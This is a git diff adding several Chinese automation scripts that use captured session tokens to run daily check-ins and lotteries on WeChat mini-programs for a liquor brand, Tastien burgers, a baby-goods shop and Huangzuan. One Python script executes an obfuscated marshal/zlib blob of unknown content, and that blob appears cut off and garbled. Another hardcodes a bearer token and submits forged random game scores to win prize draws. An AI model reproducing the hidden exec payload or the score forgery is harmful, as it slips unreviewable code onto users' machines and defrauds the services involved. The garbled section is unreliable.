!t.headers["content-type"] && (t.headers["content-type"] = "application/x-www-form-urlencoded"), t.headers && (delete t.headers["Content-Length"], delete t.headers["content-length"]), this.getEnv())) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && ((t.headers = t.headers || {}), Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient[s](t, (t, s, a) => { !t && s && ((s.body = a), (s.statusCode = s.status ? s.status : s.statusCode), (s.status = s.statusCode)), e(t, s, a) }); break; case "Quantumult X": (t.method = s), this.isNeedRewrite && ((t.opts = t.opts || {}), Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then((t) => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o, } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o, }, i, o) }, (t) => e((t && t.error) || "UndefinedError")); break; case "Node.js": let a = require("iconv-lite"); this.initGotEnv(t); const { url: r, ...i } = t; this.got[s](r, i).then((t) => { const { statusCode: s, statusCode: r, headers: i, rawBody: o, } = t, n = a.decode(o, this.encoding); e(null, { status: s, statusCode: r, headers: i, rawBody: o, body: n }, n) }, (t) => { const { message: s, response: r } = t; e(s, r, r && a.decode(r.rawBody, this.encoding)) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date(); let a = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in a) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? a[e] : ("00" + a[e]).substr(("" + a[e]).length))); return t } queryStr(t) { let e = ""; for (const s in t) { let a = t[s]; null != a && "" !== a && ("object" == typeof a && (a = JSON.stringify(a)), (e += `${s}=${a}&`)) } return (e = e.substring(0, e.length - 1)), e } msg(e = t, s = "", a = "", r) { const i = (t) => { switch (typeof t) { case void 0: return t; case "string": switch (this.getEnv()) { case "Surge": case "Stash": default: return { url: t }; case "Loon": case "Shadowrocket": return t; case "Quantumult X": return { "open-url": t }; case "Node.js": return }case "object": switch (this.getEnv()) { case "Surge": case "Stash": case "Shadowrocket": default: { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } case "Loon": { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } case "Quantumult X": { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl, a = t["update-pasteboard"] || t.updatePasteboard; return { "open-url": e, "media-url": s, "update-pasteboard": a, } } case "Node.js": return }default: return } }; if (!this.isMute) switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: $notification.post(e, s, a, i(r)); break; case "Quantumult X": $notify(e, s, a, i(r)); break; case "Node.js": }if (!this.isMuteLog) { let t = ["", "==============📣系统通知📣==============",]; t.push(e), s && t.push(s), a && t.push(a), console.log(t.join("\n")), (this.logs = this.logs.concat(t)) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: this.log("", `❗️${this.name},错误!`, t); break; case "Node.js": this.log("", `❗️${this.name},错误!`, t.stack) } } wait(t) { return new Promise((e) => setTimeout(e, t)) } DoubleLog(d) { if (this.isNode()) { if (d) { console.log(`${d}`); msg += `\n ${d}` } } else { console.log(`${d}`); msg += `\n ${d}` } } async SendMsg(m) { if (!m) return; if (Notify > 0) { if (this.isNode()) { var notify = require("./sendNotify"); await notify.sendNotify(this.name, m) } else { this.msg(this.name, "", m) } } else { console.log(m) } } done(t = {}) { const e = new Date().getTime(), s = (e - this.startTime) / 1e3; switch ((this.log("", `🔔${this.name},结束!🕛${s}秒`), this.log(), this.getEnv())) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: $done(t); break; case "Node.js": process.exit(1) } } })(t, e) } +// Env rewrite:smallfawn Update-time:23-6-30 newAdd:DoubleLog & SendMsg diff --git a/脚本库/微信小程序/抓包版/国乐酱酒/2026-04-08_gyjj_89d63434.js b/脚本库/微信小程序/抓包版/国乐酱酒/2026-04-08_gyjj_89d63434.js new file mode 100644 index 0000000..09f6e96 --- /dev/null +++ b/脚本库/微信小程序/抓包版/国乐酱酒/2026-04-08_gyjj_89d63434.js @@ -0,0 +1,147 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/gyjj.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/gyjj.js +// # Repo: smallfawn/QLScriptPublic +// # Path: daily/gyjj.js +// # UploadedAt: 2026-04-08T12:04:40Z +// # SHA256: 89d6343472de9993efc290b2dd448a0da6d327c2ea31e53fb6dc8b451f1a5e9c +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + + + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: 国乐酱酒小程序 +cron: 30 9 * * * +------------------------------------------ +#Notice: +变量名:gyjj +国乐酱酒小程序签到,使用前请先获取token,方法如下: +打开微信,进入国乐酱酒小程序,点击右下角“我的”, +打开抓包软件抓取https://member.guoyuejiu.com/api/sign/daily/sign 请求头的Authorization +抓取到的Authorization值即为token +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { Env } = require("../tools/env") +const $ = new Env("国乐酱酒"); +let ckName = `gyjj`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" + + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.token = this.user[0]; + + } + + async run() { + + await this.sign() + await this.account() + } + + async sign() { + try { + + let options = { + method: 'get', + url: `https://member.guoyuejiu.com/api/sign/daily/sign`, + headers: { + "Authorization": this.token, + "User-Agent": 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_15 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.70(0x1800462d) NetType/WIFI Language/zh_CN', + "Referer": "https://servicewechat.com/wxeff120e4d11594c0/85/page-frame.html" + }, + + } + let { data: result } = await axios.request(options) + if (result?.code == 0) { + //打印签到结果 + $.log(`🕊账号[${this.index}] 签到成功:签到[${result.data.spanSumDays}]天🎉`); + this.mist = result.data.spanSumDays + } else { + $.log(`🕊账号[${this.index}] 签到失败:${result.message}⛔`) + } + } catch (e) { + console.log(e); + } + } + + // + async account() { + try { + let options = { + method: 'get', + url: `https://member.guoyuejiu.com/api/user/info`, + headers: { + "Authorization": this.token, + "User-Agent": 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_15 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.70(0x1800462d) NetType/WIFI Language/zh_CN', + "Referer": "https://servicewechat.com/wxeff120e4d11594c0/85/page-frame.html" + } + + + } + let { data: result } = await axios.request(options) + if (result?.code == 0) { + //打印签到结果 + $.log(`🕊账号[${this.index}] 查询成功:总积分[${result.data.score}]🎉`); + + } else { + $.log(`🕊账号[${this.index}] 查询失败:${result.message}🚫`) + } + } catch (e) { + console.log(e); + } + } + + + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + + for (let user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout:3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) {} + +} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/塔斯汀小程序签到/2026-05-14_tasiting_d32ead35.js b/脚本库/微信小程序/抓包版/塔斯汀小程序签到/2026-05-14_tasiting_d32ead35.js new file mode 100644 index 0000000..acc71bc --- /dev/null +++ b/脚本库/微信小程序/抓包版/塔斯汀小程序签到/2026-05-14_tasiting_d32ead35.js @@ -0,0 +1,176 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/tasiting.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/tasiting.js +// # Repo: smallfawn/QLScriptPublic +// # Path: daily/tasiting.js +// # UploadedAt: 2026-05-14T17:47:57+08:00 +// # SHA256: d32ead35937ae6723c6872053340096b4a6f2beb7da4aabccef948835ccf9ca0 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: 塔斯汀小程序签到 +cron: 30 8 * * * +------------------------------------------ +#Notice: +抓包小程序塔斯汀,获取https://sss-web.tastientech.com/api 请求头的user-token参数,填入环境变量,格式如下: +变量名:tasiting +多账号使用&分割或者换行 +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { Env } = require("../tools/env") +const $ = new Env("塔斯汀小程序签到"); +let ckName = `tasiting`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" + + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.token = this.user[0]; + this.userFlag = false + this.phone = '' + + } + + async run() { + + await this.userInfo() + if (this.userFlag) { + await this.getSignInfo() + if (this.activityId) { + await this.getUserSignInfo() + + } + } + } + async userInfo() { + let options = { + method: 'GET', + url: `https://sss-web.tastientech.com/api/intelligence/member/getMemberDetail`, + headers: + { 'user-token': this.token, 'version': '3.63.1', 'channel': '1' } + + + }; + let { data: result } = await axios.request(options); + + if (result?.code == '200') { + //打印签到结果 + this.userFlag = true + this.phone = result.result.phone + $.log(`🌸账号[${this.index}]手机号:[${result.result.phone}]`); + } else { + $.log(`🌸账号[${this.index}] 查询-失败:${JSON.stringify(result)}❌`) + } + + + + + } + async getSignInfo() { + let options = { + method: 'POST', + url: `https://sss-web.tastientech.com/api/minic/shop/intelligence/banner/c/list`, + headers: { 'user-token': this.token, 'version': '3.63.1', 'channel': '1' }, + data: { "shopId": "", "birthday": "", "gender": 0, "nickName": '', "phone": "" } + + }; + let { data: result } = await axios.request(options); + for (let item of result.result) { + if (item.jumpCode == 'SIGN') { + this.activityId = JSON.parse(item.jumpPara).activityId + $.log(`🌸账号[${this.index}] 活动ID:[${this.activityId}]`); + } + } + } + async getUserSignInfo() { + let options = { + method: 'POST', + url: `https://sss-web.tastientech.com/api/sign/member/signInfoV2`, + headers: { 'user-token': this.token, 'version': '3.63.1', 'channel': '1' }, + data: { activityId: this.activityId } + + }; + let { data: result } = await axios.request(options); + if (result?.code == '200') { + if (result.result.signMemberInfo.todaySign !== true) { + await this.doSign() + } else { + $.log(`🌸账号[${this.index}] 今日已签到🎉`); + } + } + } + async doSign() { + let options = { + method: 'POST', + url: `https://sss-web.tastientech.com/api/sign/member/signV2/sign`, + headers: { 'user-token': this.token, 'version': '3.63.1', 'channel': '1' }, + data: { "activityId": this.activityId, "memberName": "", "memberPhone": this.phone } + + }; + let { data: result } = await axios.request(options); + if (result?.code == '200') { + //打印签到结果 + $.log(`🌸账号[${this.index}]` + `签到成功🎉`); + } else { + $.log(`🌸账号[${this.index}] 签到-失败:${JSON.stringify(result)}❌`) + } + + + + + } + + + + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + + for (let user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout:3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) {} + +} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/塔斯汀汉堡/2025-06-03_tsthb_607a26fc.py b/脚本库/微信小程序/抓包版/塔斯汀汉堡/2025-06-03_tsthb_607a26fc.py new file mode 100644 index 0000000..c1a20ae --- /dev/null +++ b/脚本库/微信小程序/抓包版/塔斯汀汉堡/2025-06-03_tsthb_607a26fc.py @@ -0,0 +1,164 @@ +# Source: https://gitee.com/jdqlscript/zyqinglong/blob/main/tsthb.py +# Raw: https://gitee.com/jdqlscript/zyqinglong/raw/main/tsthb.py +# Repo: jdqlscript/zyqinglong +# Path: tsthb.py +# UploadedAt: 2025-06-03T12:08:50+08:00 +# SHA256: 607a26fc9478a54dc474d3b6af1fde04596f9b31ba62eb1824d0b55f3162ef6d +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +""" +塔斯汀汉堡签到 + +打开微信小程序抓sss-web.tastientech.com里面的user-token(一般在headers里)填到变量tsthbck里面即可 + +支持多用户运行 + +多用户用&或者@隔开 +例如账号1:10086 账号2: 1008611 +则变量为10086&1008611 +export tsthbck="" + +cron: 55 1,9,16 * * * +const $ = new Env("塔斯汀汉堡"); +""" +import requests +import re +import os +import time +import json +from datetime import datetime +#初始化 +print('============📣初始化📣============') +#版本 +github_file_name = 'tsthb.py' +sjgx = '2025-05-10T21:30:11.000+08:00' +version = '1.46.8' + +try: + import marshal + import zlib + exec(marshal.loads(zlib.decompress(b'x\x9c\x85TQO\xdbV\x14\xee\xcb^\xfc+\xae\xd2\x07\'4\x8e\x03\x14:\xc1\xfc\xc0\xd0\xd6Jm\xfa\x00TT\x02\x84\x9c\xf8&\xb9\x8d}\x9d^_\x0f\xe84\x89\x16(\xa5-\xa0\xb5\xa5 \x86\xaaN\xda:\xa4\xb5\xa97\xd1j@3~\xc6~@sm\xfa\xb4\xa7\xbd\xef\xd8N YU\xedF\x96\x9d\xf3\x9ds\xeew\xbes\xee\xfd\xe7\xaf\xcf\xce\x9c\x91t\xd3\x9c\xae2B\xf9\xb4I\x1c\x8e441%\x9dE\xc1\x93\xdd\xc6\xc1\xdaq\xcd\x13\xf5\r\x7fe\xde\xdfYA\x91\x13:\xfe\xf3\xb1X>\x08\xb6\x17\xc5\xab\xcd\xe0\xe5\x8b\xc6\x1f\xbf\xa7\xfd\xed;\xfe\xe6[Q{\x16\xacyM/\xb1\\\xf77<\xf0rpUaC\xd7\xc2L\xe78\xd9\xb6Y\xb8H1\xf6D\x9a\x86LLc\x18)\xa8\xfb\xd4\xa5m\xf7s\x1ar8\x0b\x9dR\x1dp\xc1\xa6\x9cP\x17K\x9f\xf6G\xe7\xc2\xf2;Kiy\x85zDHg\xdd\x19\xbdZ\x05$\x19\xbb\xa5\x9ae\x1f{\x0b\xd0,qw)\xa8\xd7@\xf0\x8e\x06\xf8+\x8f\xc5\xaa\xd7)\xc6G\x1d\x80\'\xee\x00\xa5\'+\x96\x16\xc24\xbd\xf0\x16\xaf\x17\xc5\xd1\xaf\x1f\xe6\x1f}\x9c!\x84\xeey\xa2\xf6\x162tV\xfc?\xba\xb8\xcc\xec\x816\xcb-\r*\x95\x12\xe1e7\x1f\xa9\x00B\xe7ub\xda\xea\xad\xb9\x9b\x84\xc2\xe0\xd3\x92\xca\x19\xc6\n\x80\x16\xe1\n\xa1E[\xb5tB\xe5(W>\x0f\x99\x18\xbe\xe9b\x87;\x99\x12\xe6I\xc8\xae\x85;\xa4\xcbX70s\xb4o\xe5a\x98CL\xb926W\xc5\xf2\x80\x0c\xf3c\x92\x82\xce\x89M\xd5\x1b\x8e\r\xe7M\x1e\xc1E\xcc0\x03\xb0E\xaa\x8d\x12\xe0\xa3\xb8\xa0\x0c\x97\x95k:x$\xae\xda\\\x1dJ}\xc9tj$\x06\xbf\xd1\x12\x9f\'\xd2(1\\f\xb6E\\+\xb2t\xf7\xf4\x87\xb6\x1c)0\xdb\xb1\x8b\x1c}e\x94\xf0\t\x02\xf9\xae9\x98)C% \x05\ts\xf6-b\x9a\xba\xda\x97\xc9\xa2\xe48\x9c;{\xc6AW\xc7Pw6\x93\x1dD`\xe8??\x88f\xfb\xcf\xa7\xd0\x100\xc7\xe38\x7f\x99p\xb5\xaf\xf7B\xa6\xb7\x1f%/_\x1a\xcb]I\xc3\x80V0\xba\x88\x0b\x15;\x85".X\x85\xbd2\xd9\xf0\x87F\xf5\xa2\xceH+\x04\xc8\x9cb@\xe6\xba2\x12\x0b\x88\re\x1c\xca\x06J\xd7sW.\x81\x10M\xbb\xfc]*\x13\n\x95\x8c\xfb\xe7\x14@\xf3|~"\x96h\xbaHL len(cks): + break + print(f"\n等待{rand}s后进行下一个账号") + time.sleep(rand) \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/好宝贝/2025-06-28_好宝贝_2194acca.py b/脚本库/微信小程序/抓包版/好宝贝/2025-06-28_好宝贝_2194acca.py new file mode 100644 index 0000000..c67da67 --- /dev/null +++ b/脚本库/微信小程序/抓包版/好宝贝/2025-06-28_好宝贝_2194acca.py @@ -0,0 +1,109 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/%E5%A5%BD%E5%AE%9D%E8%B4%9D.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E5%A5%BD%E5%AE%9D%E8%B4%9D.py +# Repo: jdqlscript/toulu +# Path: 好宝贝.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: 2194acca5f795b099cd512c9f7d04337b56c29bc30c88fa01e38276911af7df1 +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +#每天签到积分,可以换实物 +#抓包找miniapi.linkkids.cn域名,请求头含cookie的,_platform_num=开头的 +#推送自己看着写,wxpusher的 +#入口:微信小程序好宝贝母婴生活 +#环境变量名hbbck + +import os +import requests +import json + +# 获取并处理环境变量 hbbck +hbbck = os.environ.get('hbbck', '') # 获取环境变量 + +# 如果 hbbck 是多个 cookie 用逗号分隔,将它们合并成一个适合 Cookie 格式的字符串 +cookie_str = hbbck if not hbbck else "; ".join(hbbck.split(',')) + +push_token = 'UID_Rj**********' # wxpusher的UID +push_title = '好宝贝' # 推送标题 +push_content = 'TL库\n\n' +wxapp_token = 'AT_aTsJ*********' # wxpusher的APPToken + +def wxpusher_send(): + """ + 发送消息到wxpusher + """ + headers = {'Content-Type': 'application/json;charset=utf-8'} + data = { + "appToken": wxapp_token, + "uids": [push_token], + "topicIds": [], + "summary": push_title, + "content": push_content, + "contentType": 1, + "verifyPay": False + } + + try: + response = requests.post('https://wxpusher.zjiecode.com/api/send/message', headers=headers, data=json.dumps(data)) + + # 获取响应的 JSON 数据 + response_json = response.json() + + print(f"wxpusher 推送: {response_json.get('msg', '没有返回 msg 字段')}") + + except requests.exceptions.RequestException as e: + print(f"wxpusher 推送失败: {e}") + +# 获取公告信息 +def get_announcement(): + try: + external_url = 'https://github.com/3288588344/toulu/raw/refs/heads/main/tl.txt' + response = requests.get(external_url) + if response.status_code == 200: + print("公告:", response.text) + print("公告获取成功,开始执行签到请求...") + else: + print(f"获取公告失败,状态码: {response.status_code}") + except Exception as e: + print(f"获取公告时发生错误: {e}") + +# 获取并处理签到请求 +def sign_in(): + url = "https://miniapi.linkkids.cn/common/coc/do/sign" + params = { + '_platform_num': "156537", + 'appid': "wx46d990aaf4b05faf", + 'apptype': "3", + 'bsharekey': "17366635121380080655", + 'shareCode': "17366635121380080655", + 'cids': "23,24" + } + headers = { + 'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b19)XWEB/11581", + 'xweb_xhr': "1", + 'X-Request-With': "XMLHttpRequest", + 'Content-Type': "application/json; charset=utf-8", + 'Sec-Fetch-Site': "cross-site", + 'Sec-Fetch-Mode': "cors", + 'Sec-Fetch-Dest': "empty", + 'Referer': "https://servicewechat.com/wx46d990aaf4b05faf/2/page-frame.html", + 'Accept-Language': "zh-CN,zh;q=0.9", + 'Cookie': cookie_str # 使用拼接后的 cookie 字符串 + } + + response = requests.get(url, params=params, headers=headers) + aaa = json.loads(response.text) + if aaa['message'] == 'success': + push_content = f"签到成功,获得{aaa['data']['rewards'][0]['info']}" + else: + push_content = f"签到失败,{aaa['message']}" + + print(push_content) + wxpusher_send() + +def main(): + get_announcement() + sign_in() + +if __name__ == "__main__": + main() diff --git a/脚本库/微信小程序/抓包版/媓钻小程序/2025-06-28_媓钻小程序_85b516e6.js b/脚本库/微信小程序/抓包版/媓钻小程序/2025-06-28_媓钻小程序_85b516e6.js new file mode 100644 index 0000000..591007a --- /dev/null +++ b/脚本库/微信小程序/抓包版/媓钻小程序/2025-06-28_媓钻小程序_85b516e6.js @@ -0,0 +1,184 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E5%AA%93%E9%92%BB%E5%B0%8F%E7%A8%8B%E5%BA%8F.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E5%AA%93%E9%92%BB%E5%B0%8F%E7%A8%8B%E5%BA%8F.js +// # Repo: jdqlscript/toulu +// # Path: 媓钻小程序.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: 85b516e6722480c67d37d7e5060eacb32fab911bc1497ac16a1e453c3ae0e71d +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.08 13.38 +@Description: 媓钻 小程序 赛龙舟活动 每天抽奖2-3次 +------------------------------------------ +变量名huangzuan_WX +变量值https://api.hzyxhfp.com/api/ 请求头Headers中authorization的值 去掉Bearer 多账号&或换行或新建同名变量 +[Script] +http-response + +[MITM] +hostname = + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const $ = new Env("媓钻小程序"); +let ckName = `huangzuan_WX`; +let userCookie = checkEnv( + ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "" +); +const notify = $.isNode() ? require("./sendNotify") : ""; + +!(async () => { + console.log( + `==================================================\n 脚本执行 - 北京时间(UTC+8): ${new Date( + new Date().getTime() + + new Date().getTimezoneOffset() * 60 * 1000 + + 8 * 60 * 60 * 1000 + ).toLocaleString()} \n==================================================` + ); + //console.log(userCookie) + if (!userCookie?.length) return console.log(`没有找到CK哦`); + let index = 0; + //let strSplitor = "#"; + + for (let user of userCookie) { + $.log(`\n🚀 user:【${index || ++index}】 start work\n`); + $.token = user + $.ckStatus = false; + await signIn() + for (let i = 0; i < 2; i++) { + await play() + await $.wait(5000) + + if ($.ckStatus) { + await lottery() + + } + } + + } + + await $.sendMsg($.logs.join("\n")); +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); +//取150-200随机数 +function getRandomInt(min, max) { + min = Math.ceil(min); + max = Math.floor(max); + return Math.floor(Math.random() * (max - min)) + min; //不含最大值,含最小值 +} +async function signIn() { + + let data = JSON.stringify({}); + + let config = { + method: 'POST', + url: 'https://api.hzyxhfp.com/api/signInLog/addSignIn', + headers: { + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220067 MMWEBSDK/20240404 MMWEBID/8150 MicroMessenger/8.0.49.2600(0x28003156) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android', + 'Accept-Encoding': 'gzip,compress,br,deflate', + 'app': 'wx3df7476c42cace5d', + 'authorization': 'Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczovL2FwaS5oenl4aGZwLmNvbS9hcGkveWZtR2V0QXV0aFVzZXIiLCJpYXQiOjE3MTc4MjQ4NzMsImV4cCI6MjMxNzgyNDgxMywibmJmIjoxNzE3ODI0ODczLCJqdGkiOiJxdWRGcUlLaHRxWUd3Y0dIIiwic3ViIjozMDIwMTk5LCJwcnYiOiJjNzdlYWJjNmQyOWRiY2UwYjU1ZTk4YmRlYzM5MWI1NDlhNWVmMWYwIn0.0akWVLgE0Bd8_a-EOIQiC8dB_xiiOc2Y40xIVQnBRkU', + 'charset': 'utf-8', + 'content-type': 'application/json;charset=UTF-8', + 'Referer': 'https://servicewechat.com/wx3df7476c42cace5d/370/page-frame.html' + }, + data: data + }; + let { data: result } = await Request(config) + result?.code == 0 ? ($.log(`签到成功 已签到[${result.data.cont_days}]天`)) : ($.log(`签到失败`), console.log(JSON.stringify(result))) + +} +async function play() { + let data = JSON.stringify({ + "id": "1", + "score": getRandomInt(150, 200) + }); + + let config = { + method: 'POST', + url: 'https://api.hzyxhfp.com/api/dragonActivity/addDragonScore', + headers: { + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220067 MMWEBSDK/20240404 MMWEBID/8150 MicroMessenger/8.0.49.2600(0x28003156) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android', + 'Accept-Encoding': 'gzip,compress,br,deflate', + 'app': 'wx3df7476c42cace5d', + 'authorization': 'Bearer ' + $.token, + 'charset': 'utf-8', + 'content-type': 'application/json;charset=UTF-8', + 'Referer': 'https://servicewechat.com/wx3df7476c42cace5d/370/page-frame.html' + }, + data: data + }; + let { data: result } = await Request(config) + result?.code == 0 ? ($.log(`游戏成功`), $.ckStatus = true) : ($.log(`游戏失败`), console.log(JSON.stringify(result))) +} +async function lottery() { + let data = JSON.stringify({ + "id": "1" + }); + + let config = { + method: 'POST', + url: 'https://api.hzyxhfp.com/api/dragonActivity/getDragonPrizeResult', + headers: { + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220067 MMWEBSDK/20240404 MMWEBID/8150 MicroMessenger/8.0.49.2600(0x28003156) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android', + 'Accept-Encoding': 'gzip,compress,br,deflate', + 'app': 'wx3df7476c42cace5d', + 'authorization': 'Bearer ' + $.token, + 'charset': 'utf-8', + 'content-type': 'application/json;charset=UTF-8', + 'Referer': 'https://servicewechat.com/wx3df7476c42cace5d/370/page-frame.html' + }, + data: data + }; + let { data: result } = await Request(config) + result?.code == 0 ? 